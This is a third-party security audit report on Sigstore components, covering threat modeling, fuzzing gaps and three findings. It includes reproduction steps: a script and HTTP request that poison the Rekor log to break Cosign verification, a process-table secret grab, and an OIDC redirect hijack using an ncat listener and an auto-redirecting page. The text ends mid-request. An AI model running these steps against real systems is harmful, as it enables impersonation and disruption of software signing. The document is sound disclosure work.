Security Assessment of Sigstore on behalf of Open Source Technology Improvement Fund

sigstore

TABLE OF CONTENTS

EXECUTIVE SUMMARY

Include Security (IncludeSec)

IncludeSec brings together some of the best information security talent from around the world. The team is composed of security experts in every aspect of consumer and enterprise technology, from low-level hardware and operating systems to the latest cutting-edge web and mobile applications. More information about the company can be found at www.IncludeSecurity.com.

Assessment Objectives

The objective of this assessment was to identify and confirm potential security vulnerabilities within targets in-scope of the SOW. The team assigned a qualitative risk ranking to each finding. Recommendations were provided for remediation steps which Open Source Technology Improvement Fund could implement to secure its applications and systems.

Scope and Methodology

Include Security performed a security assessment of Sigstore. The assessment team performed a 29 day effort spanning from March 7th – March 24th, 2022, using a Standard Grey Box assessment methodology which included a detailed review of all the components described in a manner consistent with the original Statement of Work (SOW).

Findings Overview

IncludeSec identified 3 categories of findings. There were 0 deemed to be “Critical-Risk,” 1 deemed to be “High-Risk,” 0 deemed to be “Medium-Risk,” and 2 deemed to be “Low-Risk,” which pose some tangible security risk.

IncludeSec encourages Open Source Technology Improvement Fund to redefine the stated risk categorizations internally in a manner that incorporates internal knowledge regarding business model, customer risk, and mitigation environmental factors.

Next Steps

IncludeSec advises Open Source Technology Improvement Fund to remediate as many findings as possible in a prioritized manner and make systemic changes to the Software Development Life Cycle (SDLC) to prevent further vulnerabilities from being introduced into future release cycles. This report can be used by as a basis for any SDLC changes. IncludeSec welcomes the opportunity to assist Open Source Technology Improvement Fund in improving their SDLC in future engagements by providing security assessments of additional products. For inquiries or assistance scheduling remediation tests, please contact us at remediation@includesecurity.com.

RISK CATEGORIZATIONS

At the conclusion of the assessment, Include Security categorized findings into five levels of perceived security risk: Critical, High, Medium, Low, or Informational. **The risk categorizations below are guidelines that IncludeSec understands reflect best practices in the security industry and may differ from a client's internal perceived risk. Additionally, all risk is viewed as "location agnostic" as if the system in question was deployed on the Internet. It is common and encouraged that all clients recategorize findings based on their internal business risk tolerances. Any discrepancies between assigned risk and internal perceived risk are addressed during the course of remediation testing.**

Critical-Risk findings are those that pose an immediate and serious threat to the company's infrastructure and customers. This includes loss of system, access, or application control, compromise of administrative accounts or restriction of system functions, or the exposure of confidential information. These threats should take priority during remediation efforts.

High-Risk findings are those that could pose serious threats including loss of system, access, or application control, compromise of administrative accounts or restriction of system functions, or the exposure of confidential information.

Medium-Risk findings are those that could potentially be used with other techniques to compromise accounts, data, or performance.

Low-Risk findings pose limited exposure to compromise or loss of data, and are typically attributed to configuration, and outdated patches or policies.

Informational findings pose little to no security exposure to compromise or loss of data which cover defense-in-depth and best-practice changes which we recommend are made to the application. Any informational findings for which the assessment team perceived a direct security risk, were also reported in the spirit of full disclosure but were considered to be out of scope of the engagement.

The findings represented in this report are listed by a risk rated short name (e.g., C1, H2, M3, L4, and I5) and finding title. Each finding may include if applicable: Title, Description, Impact, Reproduction (evidence necessary to reproduce findings), Recommended Remediation, and References.

INTRODUCTION

Project Scoping

On March 7th, 2022, the assessment team began analyzing the Sigstore application. The following areas were of key focus during the assessment:

- **Manual Code Review** – Assessing code using a combination of static analysis, dynamic analysis, and manual review.
- **Cryptography Review** – Assessing the cryptographic design of the project.
- **Threat Modeling** – Assessing potential threats, attacks, and mitigations.
- **Fuzzing Tool Improvement Research** – Assessing the existing fuzzing coverage and suggesting improvements.

Testing Methodology

A dedicated instance of the Sigstore application was provided. Testing of the application involved both dynamic and static application testing. Dynamic testing involved interacting with command-line client and HTTP API services. Static testing was performed by manual source code review of each in-scope repository.

Cryptography Implementation Review

The core cryptography functions in the **Sigstore** repository and their usage within other projects were reviewed with reference to common implementation flaws. The team observed extensive use of Golang's **crypto** module to provide cryptographic primitives and did not note any immediate concerns with the signing and verifying logic:

- The cryptographic libraries used were up-to-date and are known for their high-quality implementations of cryptographic primitives.
- Keys generated used recommended parameters and security levels by default, and **Cosign** users were not easily able to misconfigure the tool to reduce the security of generated keys.
- Signature verification functions were consistent in hashing data themselves rather than trusting digests provided by the user.
- Signature malleability attacks were not applicable.
- Known attacks against algorithms used were not relevant due to the design and implementation of **Sigstore** components.

The usage of the core cryptography functions across the other repositories was investigated and found to be sensibly implemented, following best practices. Additionally, the OIDC flow and usage of Dex were audited and no immediate concerns were found besides the two OIDC findings reported elsewhere in this report.

Threat Modeling

Application Decomposition

Common use case	External entities	Attacker interaction
Signing data		OS-based attacks, cryptography-based attacks
Authenticating to **Fulcio** using OIDC	Sigstore OIDC provider (**DEX**), third-party OIDC provider (e.g. **Github**), **Fulcio** HTTP API, **Cosign** localhost HTTP server	Attacking services directly or through browser-based attacks

Requesting a signed certificate from **Fulcio**	**Fulcio** HTTP API	
Adding signature to **Rekor** log	**Rekor** HTTP API	Attacking **Rekor** service
Verifying a signature	**Rekor** HTTP API, Trusted root certificates	Malicious entries in **Rekor** log

Attacker Behavioral Summary

1. An attacker would be interested in inducing **Fulcio** to sign artifacts on behalf of another user.
2. An attacker would be interested in obtaining the **Fulcio** root certificate.
3. An attacker might be interested in tampering with the **Rekor** log, either to insert false records or modify or delete an existing claim.
4. An attacker would be interested in submitting some combination of the following:

- containers into a container registry
- artifacts to **Fulcio** for signing
- transparency records to **Rekor**

The goal would be to manipulate one or more of the **Cosign** verification steps to successfully validate when they should not. This might involve bypassing any of the signing controls, including the signature verification itself, the timestamp authority, or **Rekor** transparency log. This could be caused either by a logical flaw or an implementation of processing steps containing cryptographic vulnerabilities.

5. An attacker would be interested in obtaining any secrets processed by the application on either the client or server side.

Application Threats

1. **Fulcio's** OpenID Connect (OIDC) authentication mechanism. If this were to fail, it might allow a user to sign artifacts on behalf of another user.
2. **Cosign** signature and transparency log validation logic. If there were any ways to trick **Cosign** into bypassing any of the security controls, the application might validate malicious artifacts, allowing them to be inserted into build chains.
3. Denial-of-service vulnerabilities caused by excessive processing of any user-submitted data on the backend. Since the service intends to be integrated into automated build processes and provide ubiquitous software supply chain protection, denial-of-service or resource exhaustion vulnerabilities could be severely impactful.
4. Targeted denial-of-service on particular packages. If any logic flaws exist in the **Cosign** validation flow, an attacker might be able to cause a particular package to no longer successfully validate. This might be done by making a malicious **Rekor** entry or performing some other action.

Application Mitigations

By design, the system requires multiple factors (e.g., signatures, transparency log) to align correctly before validation occurs, creating a robust process with limited single failure points. The OIDC flow is a potential single failure point. However, due to the transparency logs, any abuse of OIDC could be discovered quickly by the affected party.

To partially mitigate denial-of-service concerns, individual clients or package ecosystems can cache **Rekor** logs, so that only signers would be affected by a hypothetical event, not verifiers. Since verification is likely to take place much more frequently than signing, this would greatly limit the impact of any denial-of-service incident.

Fuzzing Improvements

The existing fuzzing coverage was almost entirely limited to the main **Sigstore** project. The assessment team used basic static code analysis to determine the coverage level of the existing fuzzer logic within this codebase.

The following command was used to list all functions in the **Sigstore** package.

```
sigstore/pkg$ (grep --exclude=*_test.go -Re "func (" | cut -d':' -f2 | cut -d')' -f2 | cut -d'(' -f1 && grep --
exclude=*_test.go -Re "func\s[a-zA-Z0-9]" | cut -d' ' -f2 | cut -d'(' -f1) | sort | uniq >
../../../sigstore_nontest_functions.txt
```

The following command listed the functions that are currently called by the fuzzer:

```
sigstore/test/fuzz$ grep -Roe '\.[A-Za-z0-9\s]*(' | cut -d':' -f2 | cut -d'.' -f2 | cut -d'(' -f1 | sort | uniq >
../../../../fuzzed_functions.txt
```

These two lists were then compared to find functions that exist in **Sigstore** and are not called by the fuzzer:

```
sigstore$ diff sigstore_nontest_functions.txt fuzzed_functions.txt  | grep '<' | cut -d' ' -f2 | sort | uniq >
unfuzzed_functions.txt
```

The team manually reviewed the resulting 88 functions, looking to see whether they should be included in fuzzing. The functions fit into one of a few categories:

- Functions that could benefit from fuzzing (2)
- Trivial functions that would likely have a notable benefit from fuzzing (53)
- Functions serving as wrappers for other **Sigstore** functions (16)
- Functions that are essentially wrappers of external library methods, not in the scope of **Sigstore** (17)

The two functions that the team identified as potentially benefitting from fuzz coverage are listed below:

- UnmarshalPEMToPrivateKey() defined in pkg/cryptoutils/privatekey.go
- Verify() defined in pkg/signature/…/verify.go

In addition to adding these functions to the fuzzer coverage, given that the existing fuzzing code focused on testing individual functions in the **Sigstore** project, the assessment team recommends adding fuzzing harnesses to the other projects including **Cosign**, **Fulcio**, and **Rekor**. For example, the fuzzing harness could feed test inputs to individual HTTP handlers in each of the projects, which would duplicate some of the coverage of **Sigstore**, but also cover any potential bugs or logic issues arising from interactions between the components.

Static and Dynamic Analysis Statement of Coverage

The assessment team performed static and dynamic security analysis of the **Sigstore**, **Cosign**, **Fulcio**, and **Rekor** components of the **Sigstore** system. Static analysis included manual code review as well as use of automated static analysis tools. Static analysis included:

- Identifying bugs in cryptographic logic and other general logic bugs
- Identifying common security vulnerability code patterns

- Identifying dependencies with known vulnerabilities

In order to perform dynamic testing, a temporary test environment was created in GCP to run the server-side components, and the **Cosign** tool was built and run locally in order to allow inspection and modification of its interactions with the other components. In this way, the workflows of generating keys, signing artifacts, and verifying signatures, were exercised and tested for security vulnerabilities. This included:

- Attempting attacks against server-side components' cryptographic logic and input validation, tested by manually manipulating cryptographic artifacts and manually manipulating HTTP requests made by **Cosign** and verifying the components' responses.
- Attempting attacks against components from the local machine that could disclose confidential information or compromise the integrity of cryptographic operations.
- Testing the **Fulcio** authentication flow to identify authentication bypasses or attacks against other users.

Future assessments could focus on new features or code, as the projects are under active development, as well as further exploring the potential for resource-exhaustion or other forms of denial-of-service.

Automated Code Quality Analysis Results

The assessment team leveraged go-critic, an open-source code analysis tool designed to report code quality issues, to quantify the overall code quality of the in-scope components. Scans were ran against the **cosign**, **rekor**, **fulcio**, and **sigstore** repositories, as well as the popular open-source **moby** and **kubernetes** projects to provide additional context to the results.

The table below shows the number of code quality issues detected in each repository. Note that issues flagged in tests or third-party dependencies were removed from the totals.

Repository	Number of Issues Flagged
cosign	**2**
rekor	**0**
fulcio	**0**
sigstore	**0**
moby	**0**
kubernetes	**721**

The assessment team additionally leveraged go-sec, a static analysis tool focused on finding vulnerable code patterns. Note that the results for **Sigstore** repositories were manually validated during the assessment and found not to pose any practical risk.

The table below shows the results for each of the repositories that were analyzed.

Repository	Number of Issues Flagged
cosign	**28**
rekor	**1**
fulcio	**6**
sigstore	**6**
moby	**676**
kubernetes	**4815**

The original output from these scans can be provided upon request.

HIGH-RISK FINDINGS

H1: Denial-of-Service via Malicious Rekor Log Entry

Description:

It was possible to cause **Cosign** to fail verification of a signed blob by adding a log entry for the blob containing an untrusted certificate to **Rekor**.

Impact:

An attacker could cause a denial-of-service and user confusion around the validity of legitimate software packages that were signed with **Sigstore** and verified with **Cosign**.

For example, an attacker may want to cause damage to the reputation of the **Sigstore** system, or to a specific software package that has been signed with **Sigstore**, or to delay adoption of a new software package version. By (potentially repeatedly) adding self-signed entries to the **Rekor** log, they could cause the **Cosign** tool to fail to verify valid software packages, reducing public trust in **Sigstore** and the packages in question, and potentially cause users to avoid updating those software packages. The legitimate signatures would still exist in the **Rekor** log, but the output of the **Cosign** tool would be impacted, and the **Rekor** log would be polluted with self-signed entries.

Reproduction:

To reproduce this finding, a blob was first signed using **Cosign**, and the signature was confirmed to be verified:

```
$ ./cosign verify-blob --rekor-url https://rekor.35.227.170.65.nip.io --signature signature1 blob1.txt
tlog entry verified with uuid: "cc8548cfd6c38c41f93497e5cc8503de76ba30a0a0bdf0434f45879a1e33b188" index: 20
Verified OK
```

Next, a shell-script was used to generate an **ECDSA** keypair with self-signed certificate, and use it to sign the blob. This is the shell script that was used:

```
 1 #!/bin/bash
 2
 3 cd "$(dirname "$0")"
 4
 5 if [[ -e "$1" ]]
 6 then
 7   BLOB="$1"
 8 else
 9   echo "hello world" > "test.txt"
10   BLOB="test.txt"
11 fi
12
13 echo "[*] Generating keypair"
14 openssl ecparam -name  prime256v1 -genkey -out test_private_key
15 openssl ec -in test_private_key -pubout -out test_public_key
16
17 echo "[*] Generating self-signed cert"
18 openssl req -batch -new -key test_private_key -x509 -out test_cert.pem
19 openssl x509 -inform pem -in test_cert.pem -text
20
21 echo "[*] Signing $BLOB"
22 openssl dgst -sha256 -sign test_private_key -out test_signature "$BLOB"
23 echo "[*] Verifying signature"
24 openssl dgst -sha256 -verify test_public_key -signature test_signature "$BLOB"
25
26 echo
27 echo "sha256 hash:"
28 sha256sum "$BLOB"
29
30 echo
31 echo "signature:"
```

```
32 cat test_signature | base64 -w 0
33 echo
34
35 echo
36 echo "public key certificate":
37 cat test_cert.pem | base64 -w 0
38 echo
```

Next, the new entry was added to the **Rekor** log using the following HTTP request and response:

Request:

```
POST /api/v1/log/entries HTTP/2
Host: rekor.35.227.170.65.nip.io
User-Agent: cosign/(devel) (linux; amd64)
Content-Length: 1270
Accept: application/json;q=1
Accept: application/yaml
Content-Type: application/json
Accept-Encoding: gzip, deflate

{"apiVersion":"0.0.1","spec":{"data":{"hash":{"algorithm":"sha256","value":"83f6a2b55958cacd9b319c302114a3b633586cab241866
c87397e9ea6e7004ac"}},"signature":{"content":"MEQCIEa3iAb+gB0FKNTw5KNIwWb0WuJQ+H9JmR5Vf92vmWQRAiBaD6C7ogJ4Cx8uyZOI35XAl5il
OvWOzvp0y1BXxarEAg==","publicKey":{"content":"LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUI0RENDQVlXZ0F3SUJBZ0lVT0JzekJEcitx
VDF6STA2b2ZjTE96MUU0TUFrd0NnWUlLb1pJemowRUF3SXcKUlRFTE1Ba0dBMVVFQmhNQ1FWVXhFekFSQmdOVkJBZ01DbE52YldVdFUzUmhkR1V4SVRBZkJnTl
ZCQW9NR0VsdQpkR1Z5Ym1WMElGZHBaR2RwZEhNZ1VIUjVJRXgwWkRBZUZ3MHlNakF6TVRReU16VXpNelZhRncweU1qQTBNVE15Ck16VXpNelZhTUVVeEN6QUpC
Z05WQkFZVEFrRlZNUk13RVFZRFZRUUlEQXBUYjIxbExWTjBZWFJsTVNFd0h3WUQKVlFRS0RCaEpiblJsY201bGRDQlhhV1JuYVhSeklGQjBlU0JNZEdRd1dUQV
RCZ2NxaGtqT1BRSUJCZ2dxaGtqTwpQUU1CQndOQ0FBU3hjb1gvNmVuYitpZHhqVS9SaDg1dmxjL3NzUnAzUi90YkZvQWV2MWk5Y0VHamJjd1BGSVVrCnQ3dFVx
UnVGam91NXlQdURZd1BISEFHTWt2U0UwS3BjbzFNd1VUQWRCZ05WSFE0RUZnUVVJS0tBTGtBK0owRzUKN2FsbVhDWTJiUVdBQUFzd0h3WURWUjBqQkJnd0ZvQV
VJS0tBTGtBK0owRzU3YWxtWENZMmJRV0FBQXN3RHdZRApBWUjBUQVFIL0JBVXdBd0VCL3pBS0JnZ3Foa2pPUFFRREFnTkpBREJHQWlFQXE1WS8xTFhQN0dFdndZ
VVpQYXRFCitEb2ZTbERmU2RjaFdySyt4OW8rNDhFQ0lRQ25yZUxMN2w0NStSY0VTVmR1TVlCNEg2dWRYUC9BUXl5NFl0WmEKblY5VVBnPT0KLS0tLS1FTkQgQ0
VSVElGSUNBVEUtLS0tLQo="}}},"kind":"hashedrekord"}
```

Response:

```
HTTP/2 201 Created
Date: Mon, 14 Mar 2022 23:54:08 GMT
Content-Type: application/json;q=1
Content-Length: 2029
Etag: 1daec2b880f74143e657435d12b68684c622d4c617e13eff24cf8184ac68815e
Location: /api/v1/log/entries/1daec2b880f74143e657435d12b68684c622d4c617e13eff24cf8184ac68815e
Vary: Origin
Strict-Transport-Security: max-age=15724800; includeSubDomains

{"1daec2b880f74143e657435d12b68684c622d4c617e13eff24cf8184ac68815e":{"body":"eyJhcGlWZXJzaW9uIjoiMC4wLjEiLCJraW5kIjoia
GFzaGVkcmVrb3JkIiwic3BlYyI6eyJkYXRhIjp7Imhhc2giOnsiYWxnb3JpdGhtIjoic2hhMjU2IiwidmFsdWUiOiI4M2Y2YTJiNTU5NThjYWNkOWIzMTljMzA
yMTE0YTNiNjMzNTg2Y2FiMjQxODY2Yzg3Mzk3ZTllYTZlNzAwNGFjIn19LCJzaWduYXR1cmUiOnsiY29udGVudCI6Ik1FUUNJRWEzaUFiK2dCMEZLTlR3NUtOS
XdXYjBXdUpRK0g5Sm1SNVZmOTJ2bVdRUkFpQmFENkM3b2dKNEN4OHV5Wk9JMzVYQWw1aWxPdldPenZwMHkxQlh4YXJFQWc9PSIsInB1YmxpY0tleSI6eyJjb25
0ZW50IjoiTFMwdExTMUNSVWRKVGlCRFJWSlVTVVpKUTBGVVJTMHRMUzB0Q2sxSlNVSTBSRU5EUVZsWFowRjNTVUpCWjBsVlQwSnpla0pFY2l0eFZERjZTVEEyY
jJaalRFOTZNVVUwVFVGcmQwTm5XVWxMYjFwSmVtb3dSVUYzU1hjS1VsUkZURTFCYTBkQk1WVkZRbWhOUTFGV1ZYaEZla0ZTUW1kT1ZrSkJaMDFEYkU1MllsZFZ
kRlV6VW1oa1IxVjRTVlJCWmtKblRsWkNRVzlOUjBWc2RRcGtSMVo1WW0xV01FbEdaSEJhUjJSd1pFaE5aMVZJVWpWSlJYZ3dXa1JCWlVaM01IbE5ha0Y2VFZSU
mVVMTZWWHBOZWxaaFJuY3dlVTFxUVRCTlZFMTVDazE2VlhwTmVsWmhUVVZWZUVONlFVcENaMDVXUWtGWlZFRnJSbFpOVWsxM1JWRlpSRlpSVVVsRVFYQlVZak1
4YkV4V1RqQlpXRkpzVFZORmQwaDNXVVFLVmxGUlMwUkNhRXBpYmxKc1kyMDFiR1JEUWxoaFYxSnVZVmhTZWtsR1FqQmxVMEpOWkVkUmQxZFVRVlJDWjJOeGFHd
HFUMUJSU1VKQ1oyZHhhR3RxVHdwUVVVMUNRbmRPUTBGQlUzaGpiMWd2Tm1WdVlpdHBaSGhxVlM5U2FEZzFkbXhqTDNOelVuQXpVaTkwWWtadlFXVjJNV2s1WTB
WSGFtSmpkMUJHU1ZWckNuUTNkRlZ4VW5WR2FtOTFOWGxRZFVSWmQxQklTRUZIVFd0MlUwVXdTM0JqYnpGTmQxVlVRV1JDWjA1V1NGRTBSVVpuVVZWSlMwdEJUR
3RCSzBvd1J6VUtOMkZzYlZoRFdUSmlVVmRCUVVGemQwaDNXVVJXVWpCcVFrSm5kMFp2UVZWSlMwdEJUR3RCSzBvd1J6VTNZV3h0V0VOWk1tSlJWMEZCUVhOM1J
IZFpSQXBXVWpCVVFWRklMMEpCVlhkQmQwVkNMM3BCUzBKblozRm9hMnBQVUZGUlJFRm5Ua3BCUkVKSFFXbEZRWEUxV1M4eFRGaFFOMGRGZG5kWlZWcFFZWFJGQ
2l0RWIyWlRiRVJtVTJSamFGZHlTeXQ0T1c4ck5EaEZRMGxSUTI1eVpVeE1OMncwTlN0U1kwVlRWbVIxVFZsQ05FZzJkV1JZVUM5QlVYbDVORmwwV21FS2JsWTV
WVkJuUFQwS0xTMHRMUzFGVGtRZ1EwVlNWRWxHU1VOQlZFVXRMUzB0TFFvPSJ9fX19","integratedTime":1647302048,"logID":"64d5d551ef548cd001
e3ee081caa6a8667493e2458a9504806ab50905e58eebe","logIndex":21,"verification":{"signedEntryTimestamp":"MEUCIEhEf9t1PVdbjdbS
4scWm1eXZmD7+G6QD3n8mgF8FQ/DAiEAutAKVoyGUG0bt6aYUN01+OySjjy/s7FVvIivZ11DlFQ="}}}
```

After the new entry was added to the **Rekor** log, **Cosign** no longer verified that the blob was properly signed:

```
$ ./cosign verify-blob --rekor-url https://rekor.35.227.170.65.nip.io --signature signature1 blob1.txt
Error: verifying blob [blob1.txt]: x509: certificate signed by unknown authority
main.go:62: error during command execution: verifying blob [blob1.txt]: x509: certificate signed by unknown authority
```

This error occurred because **Rekor** returned two entries for the hash of the blob, the first of which was the new entry:

Request:

```
POST /api/v1/index/retrieve HTTP/2
Host: rekor.35.227.170.65.nip.io
User-Agent: cosign/(devel) (linux; amd64)
Content-Length: 83
Accept: application/json;q=1
Accept: application/yaml
Content-Type: application/json
Accept-Encoding: gzip, deflate

{"hash":"sha256:83f6a2b55958cacd9b319c302114a3b633586cab241866c87397e9ea6e7004ac"}
```

Response:

```
HTTP/2 200 OK
Date: Thu, 17 Mar 2022 23:34:51 GMT
Content-Type: application/json;q=1
Content-Length: 136
Vary: Origin
Strict-Transport-Security: max-age=15724800; includeSubDomains

["1daec2b880f74143e657435d12b68684c622d4c617e13eff24cf8184ac68815e","cc8548cfd6c38c41f93497e5cc8503de76ba30a0a0bdf0434
f45879a1e33b188"]
```

The root cause was determined to be that **Cosign** only checked the first entry returned by **Rekor** in **cosign/cmd/cosign/cli/verify/verify_blob.go**, lines 134-152:

```
134     case options.EnableExperimental():
135             rClient, err := rekor.NewClient(ko.RekorURL)
136             if err != nil {
137                     return err
138             }
139
140             uuids, err := cosign.FindTLogEntriesByPayload(ctx, rClient, blobBytes)
141             if err != nil {
142                     return err
143             }
144
145             if len(uuids) == 0 {
146                     return errors.New("could not find a tlog entry for provided blob")
147             }
148
149             tlogEntry, err := cosign.GetTlogEntry(ctx, rClient, uuids[0])
150             if err != nil {
151                     return err
152             }
```

Recommended Remediation:

The assessment team recommends disregarding **Rekor** entries that do not contain a chain of trust trusted by **Cosign**. Instead, **Cosign** should iterate over the **Rekor** log entries to find the legitimate entry. Additionally, **Rekor** could be modified to check the validity of entries being added to the log, though this could prevent users from using an alternative certificate authority with the **Rekor** instance.

Remediation Notes:

This finding was retested and found to be remediated. A new function was added to the flow to iterate and check all the entries returned by Rekor, thus preventing the failure. The resulting code can be seen here:

```
        case options.EnableExperimental():
                rClient, err := rekor.NewClient(ko.RekorURL)
                if err != nil {
                        return err
                }

                uuids, err := cosign.FindTLogEntriesByPayload(ctx, rClient, blobBytes)
                if err != nil {
```

```
                        return err
                }

                if len(uuids) == 0 {
                        return errors.New("could not find a tlog entry for provided blob")
                }
                return verifySigByUUID(ctx, ko, rClient, certEmail, certOidcIssuer, sig, b64sig, uuids, blobBytes,
enforceSCT)
        }

[...]

func verifySigByUUID(ctx context.Context, ko options.KeyOpts, rClient *client.Rekor, certEmail, certOidcIssuer, sig,
b64sig string,
        uuids []string, blobBytes []byte, enforceSCT bool) error {
        var validSigExists bool
        for _, u := range uuids {
                tlogEntry, err := cosign.GetTlogEntry(ctx, rClient, u)
                if err != nil {
                        continue
                }

[...]
```

Additionally, a test script was implemented by the developers to replicate the steps from the original finding's proof of concept. The code was not added here for brevity, but can be found by following this link: https://github.com/sigstore/cosign/blob/main/test/sign_blob_test.sh.

References:

OpenSSL Documentation

LOW-RISK FINDINGS

L1: OIDC Client Secret Passed via Command-Line Argument

Description:

Although not used for the public **Dex** instance, **Cosign** allows for the use of OpenID Connect (OIDC) client secrets via an optional **oidc-client-secret** argument available in the application. OIDC client secrets provide a way for an OIDC client to authenticate with an authorization server.

All arguments specified via a command-line are available in the process table to all other users on the system. They are also usually recorded in a user's shell history.

Impact:

Someone else on the system who inspects the process table at the correct time, or someone who gains access to the user's shell history would be able to obtain the OIDC client secret. Exposure of this secret might allow a malicious app to obtain valid tokens and impersonate the user.

Reproduction:

The following command line snippet shows the usage documentation for the **cosign sign-blob** command, which includes the **—oidc-client-secret-string** argument:

```
$ cosign sign-blob --help
Sign the supplied blob, outputting the base64-encoded signature to stdout.

Usage:
  cosign sign-blob [flags]

[...]

      --oidc-client-secret string                                                [EXPERIMENTAL] OIDC
client secret for application
```

As shown in the snippet below, it's possible to obtain this secret by inspecting the process table at the same time as cosign is being run:

```
$ for i in $(seq 1 100); do ps aux | grep cosign | grep -v grep; done & cosign sign-blob --oidc-client-secret hunter2
[1] 87619
87620  0.0  0.6 768204 27008 pts/12   Sl+  14:34   0:00 cosign sign-blob --oidc-client-secret hunter2
```

The **oidc-client-secret** argument is defined in **cmd/cosign/cli/options/oidc.go**:

```
cmd.Flags().StringVar(&o.ClientSecret, "oidc-client-secret", "",
        "[EXPERIMENTAL] OIDC client secret for application")
```

This option is inserted into a **sign.KeyOpts** structure and passed into various signing and attestation methods shown below:

cosign\cmd\cosign\cli\attest.go:

```
  68            OIDCIssuer:               o.OIDC.Issuer,
  69            OIDCClientID:             o.OIDC.ClientID,
  70            OIDCClientSecret:         o.OIDC.ClientSecret,
  71    }
  72    for _, img := range args {
```

cosign\cmd\cosign\cli\policy_init.go:

```
 183            OIDCIssuer:               o.OIDC.Issuer,
 184            OIDCClientID:             o.OIDC.ClientID,
 185            OIDCClientSecret:         o.OIDC.ClientSecret,
 186    })
 187    if err != nil {
```

cosign\cmd\cosign\cli\sign.go:

```
  84            OIDCIssuer:               o.OIDC.Issuer,
  85            OIDCClientID:             o.OIDC.ClientID,
  86            OIDCClientSecret:         o.OIDC.ClientSecret,
  87    }
  88    annotationsMap, err := o.AnnotationsMap()
```

cosign\cmd\cosign\cli\signblob.go:

```
  76            OIDCIssuer:               o.OIDC.Issuer,
  77            OIDCClientID:             o.OIDC.ClientID,
  78            OIDCClientSecret:         o.OIDC.ClientSecret,
  79            BundlePath:               o.BundlePath,
```

Recommended Remediation:

The assessment team recommends accepting the OIDC secret as a path to a file containing the secret, rather than directly taking the secret from the command line. This affords users with several options to pass the secret securely to the application. Other secrets in **Cosign**, such as the **AttestOptions.Key** value, are accepted this way.

Remediation Notes:

This finding was retested and found to be remediated. The usage documentation for the command line interface had now replaced the secret string argument in favor of a secret file, as per the recommendation.

```
$ cosign sign-blob --help
Sign the supplied blob, outputting the base64-encoded signature to stdout.

Usage:
  cosign sign-blob [flags]

[...]

      --oidc-client-secret-file string                                    [EXPERIMENTAL] Path to
file containing OIDC client secret for application
```

Furthermore, the **cmd/cosign/cli/options/oidc.go** file was inspected to confirm that there were indeed no remnants of the original command line option, illustrated by the code snippet found below:

```
// AddFlags implements Interface
func (o *OIDCOptions) AddFlags(cmd *cobra.Command) {
        cmd.Flags().StringVar(&o.Issuer, "oidc-issuer", DefaultOIDCIssuerURL,
                "[EXPERIMENTAL] OIDC provider to be used to issue ID token")

        cmd.Flags().StringVar(&o.ClientID, "oidc-client-id", "sigstore",
                "[EXPERIMENTAL] OIDC client ID for application")

        cmd.Flags().StringVar(&o.clientSecretFile, "oidc-client-secret-file", "",
                "[EXPERIMENTAL] Path to file containing OIDC client secret for application")

        cmd.Flags().StringVar(&o.RedirectURL, "oidc-redirect-url", "",
                "[EXPERIMENTAL] OIDC redirect URL (Optional). The default oidc-redirect-url is
'http://localhost:0/auth/callback'.")

        cmd.Flags().StringVar(&o.Provider, "oidc-provider", "",
                "[EXPERIMENTAL] Specify the provider to get the OIDC token from (Optional). If unset, all options will be
tried. Options include: [spiffe, google, github, filesystem]")

        cmd.Flags().BoolVar(&o.DisableAmbientProviders, "oidc-disable-ambient-providers", false,
                "[EXPERIMENTAL] Disable ambient OIDC providers. When true, ambient credentials will not be read")
}
```

References:

Passing Passwords
OpenID Connect overview

L2: Shared Machine OIDC Bypass

Description:

The OIDC flow used by **Sigstore** to authenticate users relied on a redirect to a HTTP server on **localhost** with an arbitrary port. In addition, if a user was already authenticated into the OIDC provider (in this case, **GitHub**) then there was minimal user interaction required to complete the flow. As a result, an attack was possible against the system assuming the attacker already had limited access to the machine where the target user's browser was running.

Impact:

An attacker could sign an object on behalf of a targeted user using **Cosign**, given these conditions:

1. The targeted user was already authenticated into the OIDC provider (in this case, **GitHub**) in their browser
2. The attacker could bind and listen on a TCP port on the the machine where the targeted user's browser was running (e.g. if the attacker has access to another user account on the machine)
3. The targeted user navigated to a malicious web server controlled by the attacker

The second condition above significantly reduces the exploitability of this bypass, and may be considered part of the threat model depending on how and where **Cosign** is expected to run. However, the condition could exist on a shared machine or a machine where the attacker gained access to a user account on the machine.

Reproduction:

The following general steps explain the attack, but each step is further detailed below.

1. The attacker opens a TCP port listening on the machine where the targeted user's browser is running.
2. The targeted user navigates to a malicious attacker-controlled web server in their browser.
3. The attacker starts the signing process by running **Cosign** (this would be started automatically on the server by the request handler).
4. The response from the malicious web server directs the browser to the OIDC provider with the **redirect_uri** changed to point to the attacker's TCP port.
5. With no further user interaction, the browser finishes the OIDC flow, redirecting to the attacker's TCP port on localhost.
6. The attacker captures the **code** and **state** parameters from the TCP port, and passes them to the **Cosign** callback port on the server, or machine running **Cosign**.
7. The attacker intercepts **Cosign's** request and replaces the port in the **request_uri** parameter in the request to **/auth/token** with the attacker's TCP port number.
8. The **Cosign** signing process completes as normal.

The above steps were tested with the following results:

Step 1

A TCP port was opened for listening:

```
$ ncat -l -p 5555
```

Steps 2 – 4

The user visited the malicious page, which started **Cosign** on the server, and returned a link to the **OIDC** provider and a script to follow that link. Note that when the attacker ran **Cosign**, it opened a browser on the attacker's machine, which the attacker ignored.

Request:

```
GET / HTTP/1.1
Host: localhost:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

Response:

```
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 482
Server: Werkzeug/2.0.3 Python/3.10.2
Date: Wed, 23 Mar 2022 23:06:52 GMT

<html><body onload='document.getElementById("link").click()'><a id="link"
href="https://dex.35.227.170.65.nip.io/auth/auth/github-sigstore-
prod?access_type=online&amp;client_id=sigstore&amp;code_challenge=PKjOj9SxE_2wBJay6eh8VXiTO_9CA9OKgDYVOV8duEk&amp;code_cha
llenge_method=S256&amp;nonce=26o4serTQJR8copHyY5qrvVmNNL&amp;redirect_uri=http%3A%2F%2Flocalhost%3A5555%2Fauth%2Fcallba
ck&amp;response_type=code&amp;scope=openid+email&amp;state=26o4sdB48HBKU4vJ0pKxF6eXj7g"></body></html>
```

Step 5

The user's browser followed the link. The first request returned a redirect to **GitHub**:

Request:

```
GET /auth/auth/github-sigstore-
